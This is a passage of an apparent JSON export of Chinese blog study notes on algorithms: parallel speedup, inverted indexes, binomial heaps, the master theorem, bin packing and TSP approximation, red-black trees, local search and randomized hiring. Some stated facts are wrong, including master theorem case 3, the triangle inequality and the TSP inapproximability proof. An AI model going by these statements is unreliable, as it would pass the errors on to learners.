内部，多条指令可以同时执行，例如流水线 CPU，以及乱序、多发射以及超长指令字（VLIW，即把不相关的指令封装到一条超长的指令字中、超标量（例如有多个ALU，可以同时运行没有相关性的多条指令）等 数据级并行\r即将相同的操作同时应用于一些数据项的编程模型，例如经典的SIMD（Single Instruction, Multiple Data）架构，即一条指令同时作用于多个数据，例如用一条指令实现向量加法，两个向量中每对对应的元素相加互不干扰，所以可以同时进行所有的加法； 线程级并行\r一种显式并行，程序员要设计并行算法，写多线程程序，这也是将要讨论的内容。线程级并行主要指同时多线程（SMT，是一种指令级并行 的基础上的扩展，可以在一个核上运行多个线程，多个线程共享执行单元，以便提高部件的利用率，提高吞吐量）/超线程（HT，一个物理CPU核心被伪装成两个以上的逻辑CPU核心，看起就像多个CPU在同时执行任务，是通过在一个物理核心中创建多个线程实现的）以及多核和多处理器。 并行算法基本模型\r加速比\r定义：加速比是指在并行计算中，使用p个处理器时相对于使用一个处理器时的性能提升比例，即： $$ S(p) = \\frac{T_1}{T_p} $$ 其中$T_1$是使用一个处理器时的运行时间，$T_p$是使用p个处理器时的运行时间。 显然最理想的情况下，加速比应当是p，即使用p个处理器时的运行时间是使用一个处理器时的1/p。 然而实际情况中，由于并行算法的设计和实现都有一定的困难：首先，使用多个处理器意味着额外的通信开销；其次，如果处理器并未分配到完全相同的工作量，则会产生一部分的闲置，就会造成负载不均衡（load unbalance），再次降低实际速度；最后，代码运行可能依赖其原有顺序，不能完全并行。 ","date":"2025-08-13T10:00:00+08:00","permalink":"https://example.com/p/%E5%B9%B6%E8%A1%8C/","title":"并行"},{"content":"倒排索引\r搜索引擎的的检索方式\r\u0026amp;emsp 让我们从搜索引擎开始。首先我们来思考一下搜索引擎是怎么工作的，举个例子，当我们在Goggle搜索关键字\u0026quot;Computer Science\u0026quot;时，发生了什么？一个简单的想法是引擎遍历所有包含的文章，再逐字查找关键字。但显而易见，这么做的开销将会是极其恐怖的，因此这个方案是不可行的。\n\u0026amp;emsp 在这个基础上，我们可以尝试一种优化方案，即我们不再等到查询时再去遍历文档寻找关键字，而是提前创建索引，将文档中包含的关键字提取出来，检索时检查被提取出的关键字即可。适合这套方案的数据结构是“文档关联矩阵”。文档关联矩阵是一个以词典中的词项为行，文档集合中的文档为列，单元格值为0或1的矩阵。单元格为1代表着该词项出现在了该文档中。假设某一行为\u0026quot;Doc1.doc\u0026quot;，一列为\u0026quot;Computer\u0026quot;，单元格值为1，这就代表着词\u0026quot;Computer\u0026quot;出现在了文档Doc1.doc中。反之则代表未出现。但是我们同样可以显然地发现，这个矩阵应当是极其稀疏的，并且规模可以极其巨大，这是显然不实用的。\n\u0026amp;emsp 那么是否有进一步的优化方案呢？答案是肯定的。我们可以尝试颠倒一下思路，上面建立的“文档 -\u0026gt; 词项”映射存在低效率的问题，那么我们可以改成建立“词项 -\u0026gt; 文档”的映射，这就是倒排索引(Inverted File Index)\n倒排索引\r倒排索引的结构\r倒排索引由两个核心部分组成： 词项词典：一个包含所有唯一词项（经过规范化处理，如小写）的集合。它是访问记录表的“钥匙”。 记录表：对于词典中的每个词项，对应一个记录表。记录表是一个列表，其中每个条目（称为Posting）包含： 文档ID (Document ID): 标识包含该词项的文档。\n（可选）其他信息: 如词项在该文档中出现的次数（TF - Term Frequency）、出现的位置（用于短语查询或邻近查询）、权重等。\n关系：词典中的每个词项T指向其最近的记录表L。L中按顺序（通常是DoclD升序）存储了所有包含T的文档的ID。 索引构建伪代码 1 2 3 4 5 6 7 8 9 10 Index Generator while ( read a document D ) { while ( read a term T in D ) { if ( Find( Dictionary, T ) == false ) Insert( Dictionary, T ); Get T’s posting list; Insert a node (with docID D) to T’s posting list; } } Write the inverted index to disk; 文本预处理\r可以想见的是，如果仅按上面的方式处理，那么索引仍然是很大的，并且远远不能达到与实际搜索引擎相近的结果，为了进一步优化，我们需要文本预处理。文本预处理的方式主要有两种： 词干提取： 停用词将单词的不同形态（如“running”, “runner”, “runs”）还原为其基本形式（词干/词根）“run”。这可以减少词典大小，并让查询“run”也能匹配包含其变体的文档。常用算法如Porter Stemmer。 停用词: 指那些在语言中极其常见但对区分文档内容几乎没有意义的词（如英文的“a”, “the”, “it”, “and”, “of”）。几乎每个文档都包含它们，索引它们会显著增大索引体积且对相关性排序帮助甚微。通常在预处理阶段直接移除。 处理时机：这些处理发生在分词之后，将词项T插入词典或记录表之前 词项词典的访问与储存\r方案1：搜索树 (Search Trees): 如B树、B+树、字典树(Tries)。这些数据结构保持词项有序。 优点： 支持范围查询（如查找以“comput”开头的所有词项）、前缀查询；易于处理更新；磁盘友好（B/B+树）。 缺点： 查找单个词项的平均时间复杂度通常是O(log n)，略慢于哈希；实现相对复杂。 方案2：哈希 (Hashing): 使用哈希表存储词项到记录表指针的映射。 优点： 查找单个词项的平均时间复杂度是O(1)，非常快；实现相对简单。 缺点： 不支持范围查询或前缀查询；哈希冲突需要处理；扩容可能较复杂；对部分匹配不友好。 内存不足时的索引建构\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 BlockCnt = 0; while ( read a document D ) { while ( read a term T in D ) { if ( out of memory ) { Write BlockIndex[BlockCnt] to disk; BlockCnt ++; FreeMemory; } if ( Find( Dictionary, T ) == false ) Insert( Dictionary, T ); Get T’s posting list; Insert a node to T’s posting list; } } for ( i=0; i\u0026lt;BlockCnt; i++ ) Merge( InvertedIndex, BlockIndex[i] ); Sorted 基础构建算法假设整个词典和记录表能放入内存。对于海量数据，这是不现实的。这里描述了基于块的排序索引 (Blocked Sort-Based Indexing or BSBI) 算法：\n初始化块计数器 BlockCnt=0。 逐文档、逐词项处理（包含分词、词干提取、停用词移除）。 当内存不足时： 将当前在内存中构建的部分索引（BlockIndex[BlockCnt]，它包含部分词项及其在这些已处理文档中的记录表）作为一个块(Block) 写入磁盘。 块计数器 BlockCnt 增加。 释放内存（清空当前内存中的部分索引结构）。 继续处理后续文档和词项，重复步骤3直到所有文档处理完。最后内存中可能还有一个未写满的块。 关键步骤 - 归并 (Merge): 将写入磁盘的BlockCnt个块（每个块内部词项有序）和内存中最后的块，通过多路归并的方式合并成一个完整的、全局有序（Sorted）的倒排索引 InvertedIndex。\n核心思想： “分而治之”。将大数据集分割成能在内存中处理的小块，分别构建部分索引，最后合并。\n分布式处理\r在上面讨论过了文本预处理和BSBI等针对web搜索庞大的数据量的优化方案后，可能仍会有质疑：这样数据规模仍然可以很大，能够储存吗？事实上确实不可以，所以这里要用到分布式的存储和处理。 词项分区索引：将词项词典划分到不同的节点。例如节点1存储A-F所有的词项词典，节点2存储G-J所有的词项词典。一个词项T的所有记录表都存储在T所在的节点 优点：处理单个词项查询很快 缺点：处理多个词项查询时可能涉及跨节点通信；新增节点或词项频率不均匀时可能出现负载不均衡 文档分区索引：将文档集合分布到不同的节点，每个节点存储它那一部分文档的的完整倒排索引。查询时将结果广播到所有节点，每个节点在自己的文档上查询并返回部分结果，由一个协调节点汇总。 优点：易于扩展，新增文档时只要新增加节点即可 缺点：查询每个词项都需要访问所有节点；节点需要存储完整词典副本。 动态索引\r上面的分布式处理部分中提到了有关新增文档的问题。这同样是值得思考的问题。每次新增文档，或文档新增内容后，我们是否需要从头创建索引？答案是否定的，这样会造成巨大的资源浪费。为了解决这个问题，我们需要动态索引。 动态索引技术要解决主要是新增的删除的问题，可以通过使用主索引(Main Index)+辅助索引(Auxiliary Index) 主索引：磁盘上的主要、相对稳定的大索引 辅助索引：内存中的小索引，用于缓存新增文档 新增文档流程： 新文档被添加到辅助索引 当辅助索引达到一定大小，或经过一定时间间隔，将辅助索引合并到主索引，操作类似BSBI中的归并操作 删除文档操作： 在主索引将待删除文档标记为已删除，执行查询时跳过被标记为已删除的文档。在下一次执行归并时物理移除被标记为已删除的文档ID。 压缩\r此外，我们可以通过压缩进一步减小倒排索引体积规模。涉及到如下技术 记录表压缩：记录表的核心是文档ID列表，记录表通常按ID升序排序，且文档ID可能本身较大。压缩利用两个特性： 差值编码（间隙编码）：用ID之间的差值代替ID值存储 变长编码：对小整数使用更少位数编码 词项词典压缩：词项本身（字符串）也可压缩（如前缀/后缀压缩、块存储）。 阈值化：有时为了提供速度或减小索引，会设定阈值，如 只存储词频大于某个阈值的词项（过滤低频噪音词）。 在记录表中，只存储词频最高的前K个文档ID（牺牲召回率换取速度和空间）。这通常在查询处理阶段应用（见下页），而非索引构建时。 快速查询处理技术\r以下介绍了两种加速查询处理（特别是复杂查询或排序查询）的技术，但会牺牲一定的准确率（召回率）： 方案1：文档截断 (Index Pruning / Document Thresholding): 对于排序查询 (Ranked Queries)（如BM25, TF-IDF），不计算所有匹配文档的得分，而是对每个词项，预先在其记录表中根据某种权重 (weight)（如词项在文档中的重要性，TF-IDF本身或变体）进行排序或只保留权重最高的 x 个文档ID。查询时，只在这些被截断的、高权重的记录表上进行操作（如交集、计算得分）。目标是快速找到最相关的 x 个文档。 方案2：查询词项截断 (Query Term Thresholding):对查询中的词项，按它们在整个文档集中的频率（或文档频率 - DF）升序排序。低频词项通常更具区分度。只使用原始查询词项中的一部分（如前K个，或频率最低的某个百分比）进行搜索。例如，查询“computer science department”，按DF升序排序可能是“department”(低频)、“science”(中频)、“computer”(高频)。只使用“department”和“science”进行检索。 缺点:Not feasible for Boolean queries：这些优化主要针对排序检索模型 (Ranked Retrieval Model)。对于严格的布尔查询 (Boolean Queries)（要求精确匹配所有词项AND/OR/NOT），截断可能导致漏掉本应匹配的文档（违反布尔条件）。 Can miss some relevant documents due to truncation：两种截断方法都可能导致丢失相关文档（False Negative），降低召回率 (Recall)。这是用精度（通常是速度）换取召回率的权衡。 搜索引擎的评价指标\r最后我们来看一下使用的对搜索引擎的评价指标，其中可以分为性能评估和相关性评估 性能评估： 索引速度 (Indexing Speed): 每小时能处理多少文档 (Number of documents/hour)。影响索引更新频率。 查询速度 (Search Speed / Query Latency): 用户提交查询到收到结果的时间 (Response time)。查询延迟 (Latency) 会随着索引大小 (index size) 增长而增加，设计需考虑可扩展性。 查询语言表达能力 (Expressiveness of query language): 支持用户表达复杂信息需求的能力（如布尔操作符、短语查询、通配符、字段搜索、过滤器等）。同时也要考虑执行复杂查询的速度 (Speed on complex queries)。 用户满意度 (User happiness): 最核心但最难量化。用户觉得结果有用、相关、体验好。 相关性评估 准确率 (Precision - P): 返回结果中相关的文档所占的比例。衡量“准不准”。 P = RR / (RR + IR) RR (Relevant Retrieved): 检索到的相关文档数。 IR (Irrelevant Retrieved): 检索到的不相关文档数。 关注的是结果的质量。 召回率 (Recall - R): 所有相关文档中被检索到的比例。衡量“全不全”。 R = RR / (RR + RN) RR (Relevant Retrieved): 检索到的相关文档数。 RN (Relevant Not Retrieved): 相关但未被检索到的文档数。 关注的是系统的覆盖能力。 P-R 曲线 (Precision-Recall Curve): 幻灯片上的 1 0 1 Recall Precision 图示描绘了一个典型的P-R曲线。横轴是召回率(R)，纵轴是准确率(P)。曲线通常呈下降趋势（召回率越高，准确率往往越低）。曲线下的面积(AUC)或特定召回率点（如R=0.5）的准确率是常用汇总指标。F1值（2_P_R/(P+R)）是P和R的调和平均，也是一个常用单值指标。 ","date":"2025-08-13T10:00:00+08:00","permalink":"https://example.com/p/%E5%80%92%E6%8E%92%E7%B4%A2%E5%BC%95/","title":"倒排索引"},{"content":"二项队列/二项堆\r定义\r二项树\r定义\r二项堆是由二项树组成的，所以我们需要先了解二项树。 我们递归地定义二项树 二项树Bk是一个带阶数k地有序树 B0是一个只包含一个根节点地树（阶数为0） Bk是由两颗Bk-1连接而成的。连接时，一棵树的根成为另一棵树根的最左边的子节点 以下是示意图 graph TD;\rsubgraph B_0\rA((\"Node\"));\rend\rgraph TD;\rsubgraph B_1\rA((\"Root\"));\rB((\"Child\"));\rA--\u003eB;\rend\rgraph TD;\rsubgraph B_2\rA((\"Root\"));\rB((\"Child of Root\"));\rC((\"Grandchild\"));\rD((\"Child of Root\"));\rA--\u003eB;\rA--\u003eD;\rB--\u003eC;\rend\rgraph TD;\rsubgraph B_3\rA((\"Root\"));\rB((\"Child\"));\rC((\"Child\"));\rD((\"Child\"));\rE((\"Grandchild\"));\rF((\"Grandchild\"));\rG((\"Grandchild\"));\rH((\"Great-Grandchild\"));\rA --\u003e B;\rA --\u003e C;\rA --\u003e D;\rB --\u003e E;\rB --\u003e F;\rC --\u003e G;\rE --\u003e H;\rend\r性质\r二项树有如下重要性质： 节点数：Bk有2^k^个节点 高度：B_k_的高度为k 根的度数：Bk的根有k个子节点，这k个子节点分别是Bk-1，Bk-2，\u0026hellip;, B0的根 组合数关系：在深度d处，恰好有C(k, d)个节点，数值上等于多项式中对应地多项式系数，这也是二项树这个名字的来源。 二项堆\r现在可以定义二项堆了，二项堆就是一个满足以下两个条件的二项树集合： 堆序性质：堆中每棵二项树都满足最小堆性质 唯一阶数性质：对于任意阶数k，二项堆中最多仅包含一棵Bk树 结构\r二项堆与二进制有着紧密联系。对于一个有n个节点的二项堆，它的结构由n的二进制表达唯一确定。 如果n的二进制表达中第i位为1，那么这个堆中包含一棵Bi树 如果n的二进制表达中第i位为0，那么这个堆中不包含Bi树 例：对于一个包含13个节点的二项堆，由于13的二进制表达位1101，该堆包含B0, B2, B3 在实现上，二项堆一帮由一个跟链表来表示，这个链表将堆中所有二项树的根连接起来，通常按照阶数递增排序 操作\r与自平衡堆类似，二项堆的核心操作是归并 归并\r二项堆的归并操作与二进制加法高度相似 按照以下逻辑进行： 1 + 0 = 0 如果一个二项堆有Bk，而另一个没有，且没有进位，直接将Bk作为归并后的Bk 1 + 1 = 10 如果两个二项堆都有Bk，没有进位，（或一个为空但有进位）那么归并后的二项堆无Bk，两个Bk组合成Bk+1作为进位 1 + 1 + 1 = 11 如果两个二项堆都有bk，且有进位，那么归并后的二项堆有Bk，且有进位Bk+1 ","date":"2025-08-13T10:00:00+08:00","permalink":"https://example.com/p/%E4%BA%8C%E9%A1%B9%E9%98%9F%E5%88%97/%E4%BA%8C%E9%A1%B9%E5%A0%86/","title":"二项队列/二项堆"},{"content":"分治法\r分治法的时间复杂度分析\r分治法的时间复杂度表达式\r$$T(n) = aT(n/b) + f(n)$$ 其中 a：子问题的个数 n/b：每个子问题的规模 f(n)：分解问题和合并结果的时间复杂度 主定理\r主定理是解决分治算法时间复杂度的强大工具，设$T(n) = aT(n/b) + f(n)$,其中$a \\geq 1， \\space b \u0026gt; 1 $，则 情况1：$f(n) = O(n^c)$，其中$c \u0026lt; log_b(a)$ 此时$T(N) = \\Theta(n^{log_b(a)})$ 即此时递归树的叶子节点主导了时间复杂度 情况2：$f(n) = \\Theta(n^c)$，其中$c = log_b(a)0$ 此时$T(n) = \\Theta(n^c \\times log \\space n)$ 每层的工作量相同，总共有$log \\space n$层 情况3：$f(n) = \\Omega(n^c)$，其中$c \u0026gt; log_b(a)$ 此时$T(n) = \\Theta(n \\space log \\space n)$ ","date":"2025-08-13T10:00:00+08:00","permalink":"https://example.com/p/%E5%88%86%E6%B2%BB%E6%B3%95/","title":"分治法"},{"content":"估算法\r意义\r估算法的意义在于解决NP-Hard问题，对于时间复杂度大于多项式复杂度的算法而言，在数据规模相对较小时，可以使用精确算法，当数据规模足够大时，为了解决问题，只能使用估算法获取近似解 近似比率\r最小化问题\r一个算法被称为$\\rho-$近似算法，如果对于任何输入，它产生的解c满足： $$ C \\leq \\rho \\cdot C^*$$ 或者写成 $$ \\frac{C}{C^*} \\leq \\rho $$ 经典案例————装箱问题\r问题定义\r输入： $n$个物品，每个物品$i$的尺寸为$s_i$，其中$0 \u0026lt; s_i \\leq 1$ 无限数量的箱子，每个箱子的容量都是1 目标： 将所有物品放入箱子中，并使用最少数量的箱子 这是一个NP-Hard问题，意味着对于大规模的输入，没有已知的多项式时间算法可以找到最优解。因此，我们通常依赖近似算法来找到一个足够好的解。 近似算法策略\rNext Fit(NF) - \u0026ldquo;下一个适应\u0026quot;算法 策略： 始终只维护一个“当前打开”的箱子 当新物品到来时，检查它是否能放入当前箱子 如果能，就放进去 如果不能，就关闭当前箱子（以后再也不看了），然后打开一个新箱子，并将物品放入这个新箱子 性能： 近似比率$\\rho = 2$。这意味着$NF(I) \\leq 2 * OPT(I) - 1$，其中$NF(I)$是NF算法使用的箱子数，$OPT(I)$是最优解的箱子数 缺点：非常“健忘”，可能会留下很多无法利用的小空间。例如，一个物品0.5，一个物品0.6（开新箱），下一个0.5（再开新箱），而最优解只需要两个箱子 First Fit(FF) - “首次适应”算法 策略： 按编号排序维护所有已打开的箱子 当新物品到来时，从第一个箱子开始检查，将它放入第一个能容纳它的箱子 如果所有已打开的箱子都放不下，就打开一个新箱子，并把物品放进去 性能： 近似比率$\\rho \\approx 1.7$ 有点：比Next Fit更好地利用了空间 Best Fit(BF) - \u0026ldquo;最佳适应\u0026quot;算法 策略 当新物品到来时，检查所有已打开的并能容纳它的箱子 将物品放入那个放入后剩余空间最小的箱子内 如果已有的箱子都放不下，打开一个新箱子 性能： 近似比率$\\rho = 1.7$ 离线算法与在线算法\r离线算法\r在开始处理前已获得了全部的输入数据，可以对所有数据进行分析、排序、预处理，以做出全局最优或近似最优的决策 在线算法\r按顺序逐个接收输入数据，当接收到某个输入时必须立即做出决策给出输出，不能访问未来的输入数据。一旦做出决策通常是不可撤销的 不可近似性\r在我们讨论完NP-Hard问题的不可验证性与近似计算后，我们会自然地想到，既然NP-Hard问题不能被精确求解或验证，那么能否在多项式时间内获得一个“较好”地近似呢？或者进一步说，是否所有问题都可以寻找到一个$\\rho$，可以在$\\rho$内近似求解 TSP问题的近似\r严格TSP问题的近似\r对于TSP问题，有如下定理： 除非$P = NP$，否则对于任意的$k \\geq 1$，不存在TSP的k-近似 证明：使用反证法，假设存在k-近似算法A，由此可知，Halmition回路问题有多项式时间算法，同时由已知Halmiton问题是多项式问题，那么有$P = NP$ 由此我们可以认为，TSP问题是不可近似的 欧式空间中TSP问题的近似\r在欧式空间中，TSP问题中的距离应当满足以下式子： $$ w(u, v) \\leq w(u, v) + w(x, v) $$ 此时TSP问题存在2-近似算法 ","date":"2025-08-13T10:00:00+08:00","permalink":"https://example.com/p/%E4%BC%B0%E7%AE%97%E6%B3%95/","title":"估算法"},{"content":"红黑树\r定义\r红黑树是满足以下条件的二叉搜索树 每个节点都是红色或黑色的 根节点是黑色的 所有叶子节点都是黑色的 如果一个节点是红色的，那么它的叶子节点都是黑色的 从任意节点到任意叶节点的简单路径中都包含等数量的黑色节点 注： 在执行操作后，如果根节点为红色，可以直接更改颜色 红黑树的所有叶子节点都是空的黑色节点，记为NIL节点（与NULL不同） 定理\r定义 称NIL为外部节点，其余为内部节点 将从一个节点出发到达叶子节点的简单路径上的黑色节点个数称之为该节点的黑高。另外将根节点的黑高定义为树的黑高 定理1：一个有n个内部节点的红黑树的最大高度为$2log(n+1)$ 定理2：在一个红黑树中，对任意一个节点X，在其所有到达叶子节点的简单路径中，最长的一条至多是最短的一条的两倍 意义：可以通过这两条定理得知，红黑树是一个近似平衡的二叉树，黑色节点是绝对的平衡因素，红色节点则是有限的不平衡因素，即控制了不平衡因素的影响。 红黑树的插入\r基本原则\r插入的节点都是红色节点 意义：不破坏黑高平衡 插入情况\r情况1：父节点是黑色节点 无需其他操作 情况2：父节点和父节点的兄弟节点都是红色节点 将父节点和父节点和兄弟节点都染黑，然后依次上推 情况3：插入节点的父节点是红色节点，父节点的兄弟节点是黑色节点，插入节点是父节点的左节点 右转并修改染色 情况4：插入节点的父节点是红色节点，父节点的兄弟节点是黑色节点，插入节点是父节点的右节点 先左转，再右转，然后染色 插入的时间复杂度\r时间复杂度：$O(log n)$ 时间复杂度计算 红黑树的删除\r基本原则\rBST删除原则 如果目标节点有0或1个子节点：直接删除 如果目标节点有2个子节点：让x与左子树的最大节点，或右子树的最小节点交换，然后删除x 删除情况\r情况1：删除虹色叶子节点 直接删除 情况2：删除黑色叶子节点 直接删除，兄弟节点着红色，问题上移 情况3：删除有两个子节点的节点 删除中序后继节点并替换值，然后执行修复 修复\r修复只在删除黑色节点后触发，此时会破坏黑高平衡，产生额外的黑色，需要被吸收或重新分配\n修复的起始状态\nx：replacement节点（接替被删除节点位置的节点） x有“额外的黑色”（需要被吸收或重新分配） 修复的目标：\n目标：消除“额外的黑色”。恢复所有路径的黑高平衡 方法： 如果x是红色：直接着黑色 如果x是黑色：需要复杂度修复过程 修复过程的决策树 graph TD A[\u0026ldquo;开始修复x有额外黑色\u0026rdquo;] \u0026ndash;\u0026gt; B{\u0026ldquo;x是红色？\u0026rdquo;} B \u0026ndash;\u0026gt;|是| C[\u0026ldquo;x着黑色修复完成\u0026rdquo;]/ B \u0026ndash;\u0026gt;|否| D{\u0026ldquo;x是根节点？\u0026rdquo;} D \u0026ndash;\u0026gt;|是| E[\u0026ldquo;根节点吸收额外黑色修复完成\u0026rdquo;] D \u0026ndash;\u0026gt;|否| F[\u0026ldquo;x是黑色非根节点\u0026rdquo;]\nF \u0026ndash;\u0026gt; G{\u0026ldquo;x是父节点的哪个子节点？\u0026rdquo;} G \u0026ndash;\u0026gt;|左子节点| H[\u0026ldquo;处理左子节点情况\u0026rdquo;] G \u0026ndash;\u0026gt;|右子节点| I[\u0026ldquo;处理右子节点情况(镜像)\u0026rdquo;]\nH \u0026ndash;\u0026gt; J{\u0026ldquo;兄弟节点S的颜色？\u0026rdquo;} J \u0026ndash;\u0026gt;|红色| K[\u0026ldquo;情况1：兄弟是红色重着色+旋转转换问题\u0026rdquo;] J \u0026ndash;\u0026gt;|黑色| L[\u0026ldquo;情况2：兄弟是黑色\u0026rdquo;]\nK \u0026ndash;\u0026gt; L\nL \u0026ndash;\u0026gt; M{\u0026ldquo;兄弟S的子节点颜色？\u0026rdquo;} M \u0026ndash;\u0026gt;|都是黑色| N[\u0026ldquo;情况2.1：重着色问题上移\u0026rdquo;] M \u0026ndash;\u0026gt;|左红右黑| O[\u0026ldquo;情况2.2：旋转+重着色转换为2.3\u0026rdquo;] M \u0026ndash;\u0026gt;|右红| P[\u0026ldquo;情况2.3：旋转+重着色修复完成\u0026rdquo;]\nN \u0026ndash;\u0026gt; Q[\u0026ldquo;x = x-\u0026gt;parent继续循环\u0026rdquo;] O \u0026ndash;\u0026gt; P Q \u0026ndash;\u0026gt; B\nstyle C fill:#90EE90 style E fill:#90EE90 style P fill:#90EE90 style K fill:#FFE4B5 style N fill:#FFE4B5 style O fill:#FFE4B5\n","date":"2025-08-13T10:00:00+08:00","permalink":"https://example.com/p/%E7%BA%A2%E9%BB%91%E6%A0%91/","title":"红黑树"},{"content":"局部搜索\r概念\r局部搜索级从一个初始解触发，在其邻域内不断搜索，迭代改进当前姐，直到无法找到更优解 概念类似于物理学中的\u0026quot;势能\u0026quot;，搜索最终会停在一个势能谷底 关键组成\r搜索空间：所有可能解的集合 目标函数：也叫成本函数或适应函数，用来评价一个解的好坏。目标一般是找到使得目标函数最大或最小的解 邻域结构：定义了如何从一个解移动到另一个\u0026quot;相邻\u0026quot;的解。这是局部搜索的核心，它决定了搜索的\u0026quot;步长\u0026quot;和方向。例如。在TSP问题中，一个解（一条路径）的邻域可以是交换路径中任意两个城市的位置后得到的所有新路径 迭代过程：算法从一个初始解开始，反复地从当前解地邻域中选择下一个解，以期改善目标函数值 流程\rgraph TD\rS[开始] --\u003e A[生成一个初始解 S];\rA --\u003e B{在S的邻域中选择一个新解 S'};\rB --\u003e C{S' 是否比 S 更优?};\rC -- 是 --\u003e D[接受S': S = S'];\rC -- 否 --\u003e E[根据特定策略决定是否接受 S'];\rD --\u003e B;\rE -- 接受 --\u003e D;\rE -- 拒绝 --\u003e F{是否满足终止条件?};\rB -.-\u003e F;\rF -- 否 --\u003e B;\rF -- 是 --\u003e G[输出找到的最佳解];\rG --\u003e Z[结束]\rstyle A fill:#cde4ff\rstyle G fill:#d5e8d4\r经典地局部搜索法\r爬山法\r最简单，最直观地局部搜索算法 策略：严格享受。检查当前解的所有邻居，如果找到一个比当前解更好的邻居，就立刻移动过去，然后开始新一轮的搜索；如果所有邻居都不如当前解，就停止搜索 优点：简单，快速 缺点：非常容易陷入局部最优解 模拟退火\r为了克服容易陷入局部最优的缺陷而涉及的算法。灵感来源于金属退火过程 核心思想：引入\u0026quot;概率\u0026quot;和\u0026quot;温度\u0026quot;来决定是否接受一个更差的解 在搜索初期，温度很高，算法有较高的概率去接受一个更差的解，这相当于允许\u0026quot;下山\u0026quot;去探索其他山谷，希望能找到通往更高山峰的路，这增加了算法的探索能力。 随着迭代的进行，温度逐渐降低，算法接受更差解的概率也越来越小。在搜索末期，它基本不再接受差的解，变得更像爬山法，专注于咋当前找到的较优区域内进行精细搜索 优点：理论上（在无限时间内）的全局收敛性，能够有效跳出局部最优 缺点：参数需要仔细调优，否则效果不佳 禁忌搜索\r禁忌搜索是另一种客服局部最优的强大技术，它引入\u0026quot;记忆\u0026quot;机制 核心思想：用一个经济标来记录最近执行过多的移动或访问过的解 在后续的搜索中，算法被禁止执行哪些会导致回到近期状态的移动，即使会带来一个更好的解 这样做的目的是强迫算法去探索新的未曾访问过的搜索区域，避免在几个解之间循环往复 特赦准则：禁忌不是绝对的。如果一个被禁忌的移动能带来一个足够好的解，那么禁忌可以被特赦 优点：强大的防循环和探索能力 缺点：紧急表的长度和管理策略对算法性能影响很大，设计相对复杂 遗传算法\r核心思想：模拟生物进化 它不维护但各界，而是维护一个多个解组成的种群 通过选择、交叉、和变异等操作更新种群，对种群实现迭代演化，生成新一代的解 好的解有更大概率被选中繁衍后低 优点：全局搜索能力强，不容易陷入局部最优，适合处理复杂和高位的搜索空间 缺点：算法复杂，计算开销大，收敛速度可能较慢 PLS完全性(Polynomial Local Search Complete)\rPLS类的定义\r一个PLS类的优化问题满足以下条件 必须有一个多项式时间算法，能为任何问题实例生成一个初始的合法解。 必须有一个多项式时间算法，能计算出任何一个给定解的成本（或收益） 必须有一个多项式时间算法，能检查当前的解S是否是局部最优的。 如果是，就报告\u0026quot;是\u0026quot; 如果不是，必须能找出一个更好的邻居解并返回它 PLS特征\r对于PLS类内的任何问题，一定能找到一位局部最优解 原因：解空间优先，成本函数有界 PLS-Complete问题————PLS最难的问题\r定义\r一个PLS-Complete问题满足以下条件 P本身属于PLS类 所有其他PLS类的问题都可以归约到P 这里的归约指的是PLS-归约。它在归约的基础上还要求问题B的局部最优解可以被高效地转换成A的一个局部最优解， 意义\rPLSC问题的局部最优解存在，但无法在多项式时间内找到 与NP的关系\rPLS是NP的一个子集 ","date":"2025-08-13T10:00:00+08:00","permalink":"https://example.com/p/%E5%B1%80%E9%83%A8%E6%90%9C%E7%B4%A2/","title":"局部搜索"},{"content":"随机算法\r经典问题\r（离线）雇佣问题\r问题描述\r基本数据\r假设你需要招聘一名新的助理。你委托了一家职业介绍所，这家机构在 n 天内，每天会向你推荐一名候选人。你的招聘流程如下： 面试当天的候选人。 如果这位候选人比你当前雇佣的助理更优秀，你就会解雇当前的助理，然后雇佣这位新的候选人。 为了简化问题，我们假设你第一天总会雇佣第一位候选人。 成本分析\r面试每个候选人有一个固定的，较低的成本，我们记为c_i 每雇佣一次新人，都有一个较高的成本，我们称之为c_h 在n天里，会共面试n个人，所以总的面试成本是固定的 n*c_i。我们真正关心的是哪个不确定的、可能很高的总雇佣成本。假设我们总共雇佣了m次，那么总成本就是： 总成本 = nc_i + mc_h 由于n*c_i是固定的，我们的目标是分析并设法降低m，即总的雇佣次数 最坏情况分析（确定性算法）\r在没有任何随机化的情况下，最坏的情况是职业介绍所每天推荐来的候选人能力都是严格递增的。在这种情况下，每次面试都会触发一次雇佣。总的雇佣次数 m = n。此时总成本将是 n * c_i + n*c_h。即可能的最大成本 引入随机算法\r我们无法控制候选人到来的自然顺序，但是可以控制面试的顺序。 核心思想：不按照职业介绍所给的顺序面试，而是先拿到n个候选人的名单，然后将这个名单打乱（随机排列），再按照这个新的随机顺序去逐一面试 通过这个随机化步骤，把问题从分析一个特定输入序列的性能转换为了分析所有可能输入序列的平均性能。这样无需再害怕某个特定的最坏序列。 随机化后的期望分析\r指示器随机变量\r为了计算随机排列后，期望的雇佣次数，我们引入一个数学工具：指示器随机变量(Indicator Random Variables) 我们定义一个变量x_i，它对应\u0026quot;第i个被面试的候选人是否被雇佣这个事件\u0026quot;，如果第i个被面试的候选人被雇佣了，则x_i = 1，反之则有x_i = 0 总的雇佣次数m就是所有x_i的总和 根据期望的线性性质可知总雇佣次数的期望即为每个x_i期望的和 对于一个指示器随机变量，它的期望值就等于它所指示的事件发生的概率，即E[X_i] = P。 那么，第i个候选人被雇佣的概率是多少？ 当且仅当第i个候选人比前面面试过的i-1个人都优秀时才会被雇佣。由于当前的队列是完全随机化的。i个人中的每一个都有同等的概率是最优秀的那个。即第i个候选人被雇佣的概率是1/i 故P(第i个候选人被雇佣) = 1/i，即E[x_i] = 1/i。 E[m] = 1 + 1/2 + 1/3 + \u0026hellip; + 1/n，构成了一个调和级数，它约等于ln(n)。 结论：随机化下期望雇佣次数为ln(n)次 在线雇佣问题\r问题描述\r与离线雇佣问题的区别： 在在线雇佣问题中，我们不能提前拿到所有人的名单，候选人按照无法控制的顺序注意到来 对于每一位面试者必须当场做出决定 问题目标变成了使得成功雇佣到最优秀的人的概率最大 策略：观察-然后-跳转\r这个策略将过程分为两个阶段 阶段一：观察期 我们首先确定一个数字k 对于前来面试的前k名候选人，我们只面试，但一律不雇佣 这个阶段的唯一目的是收集信息，建立一个对候选人能力水平的基准。我们会几下这k个人中能力最强的人，称之为\u0026quot;标杆\u0026quot; 阶段二：决策期 从k+1人开始继续面试 一旦遇到比标杆更优秀的人，就立刻雇佣，然后停止招聘 特殊情况：如果面试到最后一个人都没有发现比标杆更优秀的，雇佣最后一个人 最优的k的选择为n/e，即拒绝约前37%的人 